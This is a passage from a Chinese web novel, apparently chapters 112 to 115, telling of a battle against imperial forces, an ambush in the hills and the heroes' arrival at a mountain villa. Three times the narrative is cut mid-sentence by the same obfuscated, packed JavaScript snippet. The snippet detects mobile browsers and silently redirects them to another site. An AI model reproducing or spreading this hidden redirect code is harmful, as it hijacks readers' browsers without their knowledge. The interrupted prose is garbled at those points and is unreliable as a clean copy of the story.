她迈步走至谢烜赫身前,自然而然地抬起手替他系紧那错综复杂的束带,弄完以后她仰头道:“好了。” 少年长得本就丰神俊朗,在铠甲的映衬下,身姿更显神采英拔,气势逼人。 虽然清楚他弓马娴熟,武艺精湛,但是她却从未见过他身披军甲的模样,这一看,这身军甲很适合他。 等从惊艳中回过神来,她发现谢烜赫正静静地注视着她,似乎自她上手以后,他便没有动过,直到此时两人才对上了目光。 瞧见那深邃黑眸里的柔情,黎书意方才惊觉自己的举动过于亲密了,替对方整衣,这完全是夫妻间的行为。 耳朵爬上红晕,她避开那道灼人的视线,掩饰性地轻咳了一声,为驱散暧昧的空气,转而说起其他来:“听说陵光风景秀丽、物产富饶、百业兴旺,以后可否带我好生看看?” “嗯,以后会带你看的。”谢烜赫一口应下。 她见状点头道:“那我便等着你凯旋。” “嗯。”谢烜赫应着,随即拿起了挂在武器架上的斩霄剑。 想起刚才少女为自己整衣的动作,他心头一热,他知道她心中担忧,但是不敢直说,所以才会说要他带她去看看陵光。 他会赢,然后带她遍览他的家乡。 辰正,一切准备就绪,队伍向着危险挺进。 走出五里路,用过午饭后,黎书意和展元一行人与大军分道而行,虽说离敌军所在地还有一段距离,但是考虑到对方很可能也探查到了他们的情况,会有所预备,谨慎起见,还是决定早些脱离队伍得好。 黎书意望着自己的父兄,像从前送军出征时那样,她对他们送上自己最诚挚的祝愿:“祝父兄旗开得胜,马到成功!” “小妹放心。”黎长策露出笑容。 “别担心,”黎横天道,说完转向展元嘱咐了一句,“替我照顾好她。” 展元点头遵命。 与父兄说完,黎书意转向谢烜赫,尽管祝愿的话方才在军帐里已经说过了,可临到阵前,她仍觉得不够。 考虑到眼下父兄和诸位军士们都在看,她不能像先前那样亲昵,最后便用客套的语气说:“你也保重。” 话很简短,似乎只是附带,然而少女眼里的担忧和期许却是掩盖不了的,谢烜赫闻言点头。 “好啦,快些去吧。”时候不早了,黎横天催促道。 听见声音,黎书意从谢烜赫脸上挪开视线,她回望着父亲说了最后一句话:“那女儿便静候佳音了。” 分别的时候到了,展元已经拨转马头,黎书意不得不跟着走,最后望了一眼她生命中最重要的三个男人,她也掉转了马头,带着兰亭跟上队伍,步入那条狭窄的小路。 目送小分队离开,看着少女消失在幽深的小径,大部队前排的三位男子先后收回目光。 黎横天中气十足道:“启程!” 话音落下,将士们抬起手中武器士气昂扬地出发了。 队伍再次动了起来,行了一个时辰,他们进入探马报告的地方,踏入这片区域后,所有人都变得警惕起来。 又行了半个时辰,在距离关口三十里之外的荒野上,他们果然碰见了等候已久的敌军。 这片地方谢烜赫很熟悉,黄土路两旁草径幽深,越往深处树木越挺拔茂密,从前他常来这附近打猎,没成想这里有朝一日会成为战场。 抬眼朝对面望过去,见人群黑压压一片,粗略估计,数量有他们的五倍之多,他的皇叔还当真看得起他们,在这之中,他看见了几个熟悉的面孔,比如最前面的郡守刘芳林。 望着徐徐接近的骑兵队伍,刘芳林的心脏突突地跳动着,那声振长空的马蹄似乎是踏在他的胸口上,惊得他额头流汗,腿脚酸软。 仔细想想,这一个月自己过得实在跌宕,起先是传来昭王府即将平反的消息,接着又听说将军府因为黎书意写的《陈冤录》被圈禁调查,再然后便是黎大将军的一双儿女不堪受辱,违抗圣旨绑了官员,最后闯城而逃了…… 陵光距离孟章路途遥远,消息往来需要时间,他的心情起起伏伏,根本搞不清楚情况。 尤其,前日接到了圣上快马加鞭送来的密信,上面说叛军已经朝陵光而来,要他做好准备。 拿着密信,他想破脑袋也想不明白,为何大将军会选择陵光而不是自己的故乡执明,然而现在他明白了,叛军队伍前排穿铠甲的俊秀少年俨然是谢烜赫,那个本该在崖底丧生的昭王世子。 看到他,刘芳林的心思转到了今晨听到的那则骇人听闻的传言上,说是皇帝才是杀害昭王的幕后凶手。 这一年多,陵光备受朝廷的冷落,不仅本地文人仕途不顺,而且在财政、军事、物资等方面的投入也大幅减少了,甚至还特意从中央增派官员来监查。 他又想起那密信的最后一句话,信上说是如果可能的话,重点疑犯不必留活口。然而,对外公开的说辞明明是安抚。 综合考虑,他心里已经有了答案,本就下不去手,如今又知晓了内情,便更加不情愿了,然而为人臣者,他不得不为。 朝旁边瞥了一眼,他虽身为一郡之首,但是这场“平叛”的总指挥乃是去年新提拔为陵光兵马大元帅的吕昇,一切都由不得他,得这人说了才算。 吕昇注视着对面的军马,数量不过千人而已,可依旧令他心生怯意,只见军士们铠甲鲜明,头系红巾,个个精神抖擞,面容坚毅,眼神无畏,不愧是黎家军中的精锐。 战阵前方正中央,威震四海的大将军黎横天骑在一匹枣红色高头大马上,他身着银色耀甲,整个人流露出久经沙场的威严与从容。 他右手边的那名俊朗少年应该就是黎长策了,不过才上战场一年多,就已经打出了名声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545771|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽管看起来还很年轻,身上却散发着沉稳与自信,那身战甲与挺拔的身姿相得益彰,衬得他英姿勃发。 目光再向黎横天左侧移,是另一位穿银色铠甲的少年,他□□黑马一看便知是不可多得的良驹,再看马上人的长相,只见少年面如冠玉,眉如墨描,眼神明亮而锐利,姿仪不比那少将军逊色半分。 这人是谁?吕昇蹙眉沉思,脑袋转了一个弯,终于想起了通缉令上那戴着面具名叫时野的侍卫。 区区一个侍卫,竟然和大将军的一双儿女一同上了通缉令,当时他便觉得奇怪,猜测这背后是否有什么不为人知的内情。 近日的传闻解答了他的疑问,这应该就是死里逃生的昭王世子了。 谢烜赫,这人活着便是皇室的污点和威胁,忆起了圣上的死令,以及自己身为杀害他父母的凶手,必定为他所记恨,吕昇想那就由他来除掉这条漏网之鱼吧。 念头刚一动,便迅速地控制了他的大脑,他露出了兴奋的笑容,若是再把黎家父子一并处置了,那可是天大的功勋。 这么想着,他挺直了脊背,振振有词道:“黎长策和黎书意在圣上下令软禁搜查期间抗旨不遵,不仅打伤了朝廷命官,还强闯城门,造成死伤无数。黎横天身为我朝大将军,不遵皇命,拥兵自重,今日本将奉朝廷之命前来缉拿尔等,识相的,劝你们束手就擒!” 宣战的话语随着微风和尘土飘到了对面。 听着冠冕堂皇的理由和惺惺作态的规劝,黎横天像是喝了一盅凉水,从咽喉直接凉到胃里,他本立志抵御外侵,收复失地,保卫疆土,为国家的安宁奋斗终身,却不想因为皇帝的多疑猜忌,被逼到此种境地。 深深吐出一口浊气,他声音铿锵道:“臣少年时随侍先帝左右,如今已戎马半生,臣曾无数次率领将士们冲锋陷阵,外御强敌,内平暴乱,只为护卫我景朝的大好河山与黎民百姓,然而臣得到的却是无休止的猜忌与打压,手下将士们的付出和牺牲也被像尘土一样忽视践踏,更令臣寒心的是,臣的家人竟然也受到了污蔑与侮辱,这般昏庸无道的皇帝,我黎横天不保也罢!直接动手吧!” 语气悲凉,满腔愤慨,长长一段肺腑之言说毕,黎横天立起手中红缨。 黎长策望向自己的父亲,惊讶于这他竟然说了这番话。 谢烜赫同样诧异,甚至他的感触还更深刻些,难免想到被亲兄弟背叛的父王。 没料到对面竟然如此干脆,吕昇吃了一惊,不过这正合他意,于是他便没有再虚与委蛇,狂笑一声道:“好,那咱们便战场上见真章吧!” 说着,他左手上提缰绳,双腿一夹马腹,策马朝对面奔去。 主帅既已行动,身后的一众将士便也跟着动了起来。 而另一边,头系红巾的千余名将士早就处于应战状态。 见敌人已然奔了过来,黎横天声如洪钟大喊一声道:“上——” 话音未落,他催马向前,戎马半生的将军,战场与他如同家常便饭,那张刚毅的脸上没有半分惧色。 黎长策和谢烜赫紧随其后,两人手提红缨枪驾马动起来。 黎家军的将士早等不及了,大将军所言正是这些年他们所感受到的,这番慷慨陈词激起了他们心底的不甘和愤怒,一接收到行动信号,他们便像离弦的箭一样冲了上去。 祈安阁的暗卫亦是如此,他们的王爷素以仁德著称,他勤勉治理,使得一方土地风调雨顺,百姓安居乐业。 他从未有过僭越的不臣之心,也不轻易插手朝廷之事,只一心辅佐王朝,然而却遭到了亲兄弟的猜忌与迫害,最后落得个家破人亡的悲惨下场,暗卫们带着悲痛与愤慨向前冲。 顷刻间,数丈的距离消失不见,两方缠斗在一起。 那吕昇飞马直朝谢烜赫杀过来,谢烜赫沉着地纵马挺枪去迎。 113. 埋伏 在一片林木荒草掩映的空地上,坐着十五六人,他们紧握着各自的武器,静静地等待着,准备在关键时刻给予敌人致命一击。 黎书意抬起水壶喝了几口水,然后扫了一眼空无一人的小道,半个时辰前,他们赶到了指定地点,将队伍一分为二后,大家躲在道路两侧。 不便说话,不便行动,等待的过程十分无聊,于是她埋在心里的焦虑就升了上来,也不知道父兄那边情况如何了。 刚这么想,忽闻远处爆发出雷鸣般的响动,她的手不由一抖,迅速与同伴们对了个眼神。 这里环境静谧,惊闻开战了,更是无人说话,大家都屏息凝神,竖耳聆听。 战场距离此地大约十里,交战的动静大,传到这里也不奇怪,吼叫声、刀剑声、马蹄声……各种声音混在一起传了过来,隔得如此远都听得很清晰,也不知阵上该是如何壮观的场景。 心里本就不安,如今又被杂乱的声音搅扰,那声音如同汹涌的海浪,一下一下拍打着黎书意的胸膛,她实在坐立难安,于是便站起身来,开始在那方寸之地来回走动。 展元在二姑娘身边做了三年的侍卫,知道她喜好文墨,不爱刀剑,又从小到大受家人庇护,战场什么的离她太远了,乍听见这动静,反应大些实属正常。 为了缓和紧张的气氛,他开口安慰说:“二姑娘不必担忧,大将军身经百战,少将军武功高强,剩余的都是黎家军的强将精兵,以一敌十不在话下。” “我知道。”黎书意停下脚步回身说道。她对父兄、谢烜赫和黎家军自然有信心,可是这动静听来实在令人心惊肉跳,她不可能半点不受影响。 铁蹄、金戈和嘶吼交织的声音还在源源不断传来,她感觉自己就在战场上,每一刻都惊心动魄,最后她只好安慰自己,想这也算是满足了她渴望观战的心愿吧。 随着时间慢慢流逝,她的心情不似最开始那般忐忑了,知道一场交锋怎么着也需要好几个时辰,没那么快结束,渐渐便适应了。 视线掠过身边的人,她现在要做的就是相信父兄和谢烜赫,与这群人静待战争结束,在大部队往这里来的时候给予力所能及的帮助,最后再一道离开。 这般想着,她走回木桩前,正打算坐下,却见展元腾地一下站起来,面色凝肃。 护卫过自己几年,黎书意知道他这表情意味着有事发生了,不由直起身子,双目警觉地朝四周瞥了瞥。 这里距离战场不算远,说不定对方同他们一样,也是分兵行动的,可能是埋伏,也可能是搜查,她的身体不自觉紧绷起来,心头的那面小鼓在“咚咚咚”敲着。 少顷,她听见了腿脚跘过草木的窸窸窣窣声,不,仔细听似乎还有马蹄声,看来来人数量不少,扫了眼身边的人,他们总共三十人不到的队伍,若是遇上,胜负毫无悬念,思及此,她那颗本就悬着的心立时提到了嗓子眼。 弓弩手们已经起身聚了过来,背身将她和兰亭围在中间,站在包围圈里,黎书意扭着头在树林间游目四顾,做好了斗争的准备。 她一手拉着兰亭,一手捏紧藏在袖子里的匕首,若是被抓住,她会尽全力自保,趁其不备,喂试图接近她的人刀子吃。 声音越来越近,她隐约能看见一群黑衣人在树林里穿行,他们的移动速度极快,不多会,人已经近在咫尺了。 尽管隐蔽在树木草丛之间,但是三十人左右的队伍,被发现是迟早的事,果然那掩映的绿叶深草被层层剥开,几个人提着剑走了过来。 “铮!”清亮的拔剑声划破寂静的空气。 黎书意的身体紧绷得宛如拉满了的弓弦,她将握在手中的匕首紧了紧,做好必要时奋力一搏的打算。 只是,敌人的剑光堪堪在空中划出半道长弧,那人表情骤然愣住,急忙收招,同时口中欣喜叫道:“二姑娘,展元!” “毕定边!”黎书意紧接着惊呼出声,眼见是友非敌,她一口气松下来,手里的匕首滑落,自己也差点跌坐在地上。 自从逃跑以来,她似乎变得草木皆兵了,任何风吹草动都能让她提心吊胆,也不知这种日子何时才到头啊…… “见过黎二姑娘,卑职祈安阁暗卫龙胆。”跟在毕定边身后的人向她问候。 黎书意点了一下头,这时,那如水阻江石的声音又冲到耳边,铿锵热烈的交战声提醒了她,定了一定神,她忙问:“对了,你们怎会在这?” 龙胆回答道:“主子离开皇城那日便料到了会有一战,所以传信给卑职,让卑职提前在前往山庄的各个路口事先做好部署,今晨收到您们来了的消息,于是便带人赶来相助。” 听了这番话,黎书意心中惊喜不已,多一份助力总是好的。 前方战场上打得如火如荼,眼下并不是他们说闲话的时候,简单交流了彼此的情况,大家便按原计划开始行动了。 龙胆带着一队人马奔赴战场援助,毕定边则与另一队人马留了下来,负责后续的埋伏工作。 黎书意他们这一行人自然加入其中,大家迅速分配了任务,然后便前往各个设伏点。 黎书意主动要了一个任务,在她和兰亭面前的是堆积如山的木材,它们被用粗绳固定好了,然后放置在斜坡上,两人要做的事也很简单——只需要在敌兵来时割断绳索即可。 到了位置上,她们就如同刚才那般,安静地站在原地蹲守,尽管都是等待,可黎书意的心境却发生了巨大的转变,此刻的她不再一味的焦躁不安,反而有些跃跃欲试。 从小路出来,龙胆带着百名祈安阁的手下奔赴战场,到地之后,他勒马停下,举目远望。 只见眼前尘土飞扬、火星四溅,将士们的身影在旷野上穿梭移动,耳边充斥着尖锐的刀剑撞击声和战士们粗野的呼喊,明明两军人马不过几千人,却激烈得如同一场旷世大战。 西侧,大将军黎横天威风凛凛,出招刚猛有力,长枪横扫间带起一股狂风,迅速逼退周围的数名兵卒。 在百步开外的地方,少将军黎长策亦是英勇非凡,他身姿矫健,在敌阵中纵横驰骋,所到之处敌军接连倒地。 龙胆继续在寻找,随着将士们奔跑移动,之前被掩盖的死角在眼前展露,最终他在战局正中央找到了他的主人。 主人身穿银色铠甲,身上红袍猎猎飞舞,他动作敏捷而有力,长枪舞动似蛟龙出云入海,势不可挡,三两下便突破敌将的防线,将其打得毫无招架之力,节节败退。 找见目标,龙胆立刻催马朝着那个方向而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545772|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,前行的途中不时碰到陵光的府军,他提枪横扫,利落地清除障碍。 此时,战场中心,谢烜赫正挺枪直刺吕昇,枪势凌厉迅疾。 吕昇连忙挥戟格挡,金属碰撞擦出了朵朵火花,一股强大的力量从戟上渡到手上,他感觉自己的两臂一阵发麻。 先前,吕昇便听说过谢烜赫的威名,知道他骑射出众,不过并没有太放在心上,想着再怎么吹嘘也不过是一个养尊处优的纨绔子弟,就会些花拳绣腿罢了,在战场上根本不顶用。 所以,开战以后吕昇没有选大将军,没有选在战场上历练过的黎长策,而是选了谢烜赫。 可出乎他的意料,谢烜赫非但不是花架子,而且功夫十分扎实了得,无论速度、力度、反应都堪称一绝,他早就不敌了。 紧咬牙关,他将双臂奋力往前一推,艰难地脱身以后,连忙纵马绕圈,暂避锋芒。 他一边策马疾驰,一边大脑飞速运转,目光不断扫视着战场,拖延时间的同时寻找着可趁之机。 看着对手逃蹿拖延,谢烜赫安坐在马上不动。 这人此前他虽未亲眼见过,不过却一早就通过情报了解了详细的情况,吕昇,原是陵光的折冲校尉,去岁因“平叛”有功被提拔为大元帅和三军总指挥,为人有勇无谋,骄狂自负,唯利是图。 他从一开始便出手狠辣,招招带着杀意,想来是推测出自己的身份,存了立功的心思。 “主子!” 正安适地坐在马背上,听见一串马蹄声从后方传来,谢烜赫偏转过头,朝斜后方看去。 “见过主子,卑职救援来迟!”龙胆道,“卑职已经按照主子的吩咐,在各处路口做好了部署,也已经和黎二姑娘一行人碰了面,眼下他们在设伏点等候着。” 听见这个名字,谢烜赫的眼神一柔,她是极其讨厌战争的,更何况还隔得这么近,眼下该是待得很煎熬吧。 扫了眼战局,府军素质参差,难敌黎家军的精兵和祈安阁的暗卫,眼下已经折损过半,被打得抱头鼠窜,他想也是时候脱战了。 他朝黎世伯望去,先前他们对过暗号,对方顷刻间便明白了他的意思,点了一下头。 他收回目光,看着那依旧绕圈的莽夫,他这边也该速战速决了,瓦解敌人的军心,最好的办法便是击溃对方的主帅。 皇帝、梁甫、李振益、冯硕,复仇名单上已经有四人他都报复了,现在该轮到眼前这位了,带军查抄王府,害父王母妃丧命的血债是时候偿还了。 正巧,那正在绕圈的吕昇此时忽然纵马转弯,挥舞着长戟,气势汹汹地朝他冲杀而来。 谢烜赫身形未动,波澜不惊地看着逐渐接近的匹夫英雄,在相隔丈余时,他长枪一挥,银光匹练般飞出,直取吕昇的咽喉。 吕昇见状,大惊失色,连忙举戟抵挡,然而谢烜赫不欲再与他多纠缠,手腕一转,偏锋侧进,长枪如灵蛇一般盘旋,绕过了吕昇漏洞百出的防御,直刺其胸膛。 “噗嗤!”一声,尖锐的枪头裹着巨力透甲入体,吕昇不可置信地瞪大双目,眼神慢慢黯淡下去。 谢烜赫干脆地抽回长枪,同时握住纯钧递来的斩霄剑的剑柄,抽剑挥出,眼睛也不眨一下,斩下了吕昇的头颅。 114. 入山 眼见主帅和副将接连倒下,平叛大军本就颓败的士气越发低迷了,几乎溃不成军。 而这边,他们也不再恋战,开始着手撤退。 黎长策带着一队人马往西路奔驰,他手持长枪,一刺一挑精准而有力,迅捷地清除着每一个靠近的敌兵。 谢烜赫紧随其后,他纵马穿梭在敌群之中,银枪在空中划出一道道寒光,枪尖一刺,便是一片血色轨迹。 两位少年配合默契,一边奋力杀敌,一边巧妙地引导着队伍向预设的路线撤离。 黎横天与黎家军众军士负责断后,他们用战阵、军器和血肉之躯筑起一道坚固的防线。 尽管主将已经身死,但是平叛大军中仍有几员偏将在,在他们发现战场逐渐偏离时,心知反贼这是要逃跑了,于是赶忙重整军心,下令追赶。 刘芳林并未随那几个偏将一道,他站在原地望着马背上那道挺拔如松的身影,内心是希望世子能顺利逃走的。 当初,在昭王府事发之时,他便觉得这当中定然有隐情,可是那时朝廷处理得太快了,加上考虑到人已经没了,他即便心有怀疑,也不敢为之说话。 现在知道世子还活着,他虽不能在明面上提供帮忙,但至少不要成为阻碍。 …… 树林里,黎书意正蹲守在粗木堆旁边,这地方潮湿,杂草丛生,蚊虫众多,她拔了一根草拿在手里,时不时甩着草驱赶。 割断绳索只是举手之劳,可到底也算是能在战场上发挥作用的,是以她便将它看成是天大的任务,往旁边瞅过去,兰亭也不遑多让。 在某个时刻,耳边的金戈之声减弱了,像是曲子到了尾声,心知战争就要结束,撤退的时候来了,她拿出十二分精神来对待,该是她们出手的时机了。 果不其然,此消彼长,随着喊杀声渐弱,马蹄声却越发清晰了,扫了眼旁边高高累起的粗木后,她目不转睛地盯着山脚的小路。 马蹄声潮水般滚滚而来,震天撼地,她甚至能感觉到地面都在颤抖。 屏息凝神等待许久,一道如刃般英挺的身影跃入视野,是兄长,她抑制不住地露出了喜悦的笑容。 铁骑冲将而出,宛如一条婉蜒的长蛇在道上穿梭,黄土路上人越来越多,在兄长的身姿消失在山道上时,谢烜赫带着另一队人马踏上了小路。 等他行到半山腰,第三队人马到了,她的父亲位居前列,身后是数百名黎家军将士。 扑通、扑通、扑通……黎书意的心一下一下跳着,又重又快,呼吸也变得急促,她的目光始终追随着如龙长队。 眼下己方阵营的将士基本都过来了,也就是说敌方的追兵也快赶到了,生怕错过最佳时机,她根本不敢眨眼睛。 在眼睛盯到酸涩之时,一群盔甲不一样的军卒映入眼帘,她不由眨了下眼。 下一刻听见清越悠扬的笛鸣,笛声在山间回荡,像是小鸟在枝头跳跃鸣唱,一共三声,两短一长,这是行动的讯号。 埋伏共分四批,有铁蒺藜,有弓箭,有雷石,她们是最后一批,目的主要为了阻拦追兵的去路。 不过她俩现在就可以行动了,捆绑粗木的绳索极其牢固,全部割开需要一点时间,那时前三批人差不多行动完。 黎书意拿出匕首再抽开,找了个便于施力的位置站好,然后便把刀刃压在绳索上,用力地前后拉着。 耳边不时传来羽箭擦破空气的“嗖嗖”声,对方军卒的惨叫声,以及战马的嘶吼声…… 她充耳不闻,差不多割了十几下,一根绳子才被割断,她接着割另一根,缺口过半时兰亭也割断了一根,一些木头脱离绑缚,顺着山坡向下滑去。 两人加快速度,随着最后一根绳索断开,木材全数往下滚去。 在经历了铁蒺藜、箭袭和雷石之后,对方的将士死的死伤的伤,只有少部分幸免于难。 眼下粗木滚落,这道路不过木材的两倍,这么滚下去根本无地可躲。 看了一眼兵荒马乱的场景,黎书意满意地转身,与兰亭手拉着手离开了设伏点,两人向上走去。 她们在蜿蜒的羊肠小道上快速穿行,整个过程看似漫长,其实不足盏茶工夫。 山道曲曲折折,如一条盘旋的长蛇,尽管己方队伍是骑马的,速度却不如她们快,两人走到路口时,正好与谢烜赫带领的队伍相遇。 看见她,谢烜赫急忙勒马停下,然后侧身伸出手来,她递上自己的手,借着拉力坐到了马背上。 兰亭紧跟着也坐到了纯钧的马背上,接到她们二人,队伍再次前行。 因是在上坡路上,马身略向后倾斜,黎书意几乎整个人被纳入到谢烜赫怀中,背后的盔甲坚硬硌人,却给她了极大的安全感。 胜利的喜悦从胸腔溢出,她扭过头,激动道:“我们成功了!” “嗯。”纵马的少年脸上沾着血,眼睛里珠网密布,但笑得格外温柔。 黎书意转回头,山路不似平川,一眼就能望到头,总是没过一会儿就是一个转弯,一边是葱茏佳木,一边是悬崖峭壁,这种峰回路转的感觉惊险刺激,但是她却感到前所未有的畅快。 迎着春风,她大声问道:“金错山庄是个什么样的地方?” 从筹划出逃开始,她便知道落脚点是金错山庄,尽管有些好奇,但彼时因为遥远,也就未去关心,现在就要去了,心里的那股好奇便浓重了。 “一个有山有水,林木苍翠的地方,早晚与四时的景致各有不同,你一定会喜欢的。”谢烜赫的声音从背后传来。 越过这座山头,他们又翻上另一座山头,据毕定边所说,为了阻挠追兵,这一路都设有埋伏。 日已西坠,夕阳的余晖铺满天空,色彩瑰丽,队伍一刻不歇,在暮色里疾驰,终于于薄暮时分抵达了金错山庄。 只见长河左岸土岭起伏,树木丛生,从群山下段起了一段围墙,墙体随着山势的高低蜿蜒,高度与城镇的城楼规格相差无几。 城墙之内,群山绵延,绿树成荫,亭台楼阁错落有致,粉墙黛瓦与桃红柳绿相间,气派而雅致。 看占地,俨然一座小城,容纳千号人不成问题,位置更是得天独厚,据于高地,前有三丈宽河,易守难攻。 不多会,马儿载着他们到了长河右岸,对岸守门侍卫见是主人来了,立马示意手下放吊桥。 城楼两侧沉重的机械缓缓启动,发出低沉而有力的嗡鸣声,宽敞的吊桥从城楼上探出身子,缓缓往这边靠过来。 等桥头与河岸相贴,谢烜赫驾马踏上吊桥,守门侍卫立刻上前恭迎,接着山庄大门被打开。 三马并驾齐驱,一同进门,眼下已经进入山庄了,不必再你追我赶,马的速度自然慢了下来。 黎书意悠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545773|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闲地坐在马背上左顾右盼,欣赏着这个未来不知道会待多久的地方,如此走马观花行了一刻钟,他们下马落地。 这时,龙胆上前说道:“主子,考虑到原本的药房不够容纳太多伤员,已经在房前搭好了几座营帐,请主子、大将军和少将军先去处理伤口吧。” 才死里逃生,黎书意难免有顾及不全的地方,方才她的心思全在他们终于安定上了,经过提醒,才想起这事来。 她转头扫看环绕身边的三人,见他们脸上和手上都沾着不同程度的血迹,身上也有被划破的地方,虽然算不上大伤,但是看着却触目惊心,为避免感染,是得赶快处理了。 步入大帐,一股淡淡的草药香扑鼻而来,帐壁上挂着各式各样的药囊和布袋,一旁的木架上摆放着些简单的医用器具,帐中设有许多张由木板和草席拼凑而成的简易床铺。 里面坐着几名男女,看样子应该是阁里通晓医理的暗卫,一名三十岁上下的男子朝谢烜赫走来,谢烜赫对他道:“先给世伯包扎。” “是。”暗卫听命,往旁边走去。 黎家军中的军医也行动起来,替黎长策诊治。 舞刀弄枪黎书意不行,可包扎她却是熟悉的,见谢烜赫的伤口并不严重,自己也能处理,是以她便自告奋勇道:“我帮你吧。” “嗯。”谢烜赫点头,随即坐在小凳上,并自行脱了外罩的盔甲。 战袍滑落,露出少年坚实的身躯,其中左边肩头那指长的伤口尤为醒目,血迹已经凝固成暗红色,看起来有几分骇人。 这期间,兰亭已经备好了清水、巾帕和纱布,黎书意从旁侧取过沾湿的巾帕,细致地替谢烜赫擦拭着伤口周围的血污和尘土。 待清理完了,便拿过金疮药轻轻地涂抹在伤口上,最后又取来干净的纱布,一圈圈仔细地包裹着。 因是处理剑伤,她手上难免沾染了些许血迹,结束包扎之后,她把手放进盆里清洗,正搓着,听见外面传来了杂沓的脚步声。 她好奇地偏过头,看见一群人急不可耐地涌进来,来的是叔母、两位姑姑和舒凌寒。 “见过大将军、少将军和二姑娘!”说话的人是富春姑姑,她双目饱含着泪意,将他们从头到脚看了个仔细。 作为黎家的一家之主,黎横天站出来说话,他满眼感激,动容地说:“我黎家处境艰难至此,何德何能让你们舍命相陪。” “大将军不必如此说,”富春姑姑道,“自从随夫人入将军府以后,婆子便与之是一体的了。” “是啊。”天元姑姑附和。 紧接着,大家朝黎书意围了过来。 黎书意接过兰亭递来的帕子,擦干净手后,她欢喜地看着围在身边的人。 叔母满眼疼惜:“似乎瘦了。” 富春姑姑叹说:“整日风餐露宿的,能不瘦吗?” “今晚姑姑便为二姑娘做顿好的。”天元姑姑道。 关切的话令黎书意鼻头一酸,明明才十多天不见,却仿佛隔了十多年一样,她们从这问候到那,似有永远说不完的话。 “娘,他们才刚打完一仗。”好半天以后,毕定边在旁善意出言提醒。 听了儿子的话,富春姑姑方才意识到自己表现得太过激动,她一拍手道:“是我糊涂了,大将军、少将军、二姑娘和世子奔波了一路,眼下该好好歇息的。” 115. 前路 包扎结束后,他们从大帐里出来,黎书意初来乍到,不知哪是哪,便跟着大部队走。 前行的路上,话题仍是不断,这个问一句,那个问一句,不过黎书意丝毫不觉得烦,她听着兰亭绘声绘色地给其他人讲这一路的经历。 就这样,话告一段落的时候,他们也到了内院。 半途,天元姑姑岔道离开,说是帮忙去准备晚饭,又走了数百步,父兄、谢烜赫和叔父叔母也先后分道另行。 富春姑姑和舒凌寒在山庄待了有一段日子了,对这里的布局已然十分熟悉,黎书意与兰亭被她们拥着往北边的山道上走。 路走到尽头,穿过月洞门,四人进入一个阔大的院落。 只见院落被低矮的围墙环绕,墙上攀附着嫩绿色藤蔓,院中花木繁盛,群芳竞秀。此外,还设有假山、池塘和石桥,每一处皆精心布置,景色相互映衬。 正在黎书意欣赏院内风景之际,闻富春姑姑唤她:“二姑娘,快些进屋吧,奔波了一路,您应该早累了。” “好。”她应声,然后转头朝正厅走去。 走至门口,往里头环视一圈,见屋内十分宽敞,装饰古雅精丽,她不确信地问:“我住这?” “是。”富春姑姑点头,笑说,“龙胆一早就安排好了的。” 黎书意了然,这定然是谢烜赫的意思,心下不禁泛起甜意,感受到一种被珍视的感觉。 抬脚迈入房中,她边走边看,厅内铺陈华美,屏风、挂画、桌凳、几榻、柜子、博古架无所不备,每一件器物皆做工精细。 环视完外间情况,她问:“我的衣服也在这吗?” “在的。”舒凌寒回道,接着又问,“二姑娘可是想沐浴?” “嗯。”她点头。 听见这话,正在一旁作惊叹状的兰亭赶忙开口说:“婢子这就去烧水。” 奈何人刚踏出一步去,便被舒凌寒给拉住了手,她轻笑着道:“还是我来吧,也不看看你自己现在是个什么样子。” 兰亭闻言低头,发现自己裤腿上尽是青草痕和泥点子,于是抬起手挠头,尴尬地笑了。 黎书意也跟着笑了,拍了拍兰亭的肩膀道:“这段时日你也累了,先照顾好你自己就行。” 说毕,她朝坐榻而去,在一侧懒散地落座了。 紧接着,兰亭便去打理自身了,舒凌寒也去烧水了,黎书意与富春姑姑坐在厅中闲谈。 待热水备好,她起身往隔壁浴房走,富春姑姑说还想陪她说会话,便跟着一道。 进了浴房,舒凌寒帮她褪了衣服,她步入浴桶,这时听见姑姑疼惜的声音:“都瘦得皮包骨头了。” 她无奈笑道:“哪有那么夸张,我不过颠沛了些,他们可是真刀真枪地上。” “是啊,大将军、少将军和昭王世子这段日子也是辛苦了。” 听见这话,她急忙扭身,惊讶地看向二人,“你们都知道了?” 舒凌寒点头,“知道了。” “哪能不知道啊……”富春姑姑叹息一声,毕竟现下他们就住在人家的山庄里面。 再者,这些日子她、天元常陪着庄里人上集市采买物资,城里最近都在热议将军府和昭王府之事,民众们诉说着昭王的贤明,那惊天动地的秘闻,还有那铿锵有力的问罪书…… 沉重的话题让本就不松快的气氛变得更压抑了,浴房里陷入沉默。 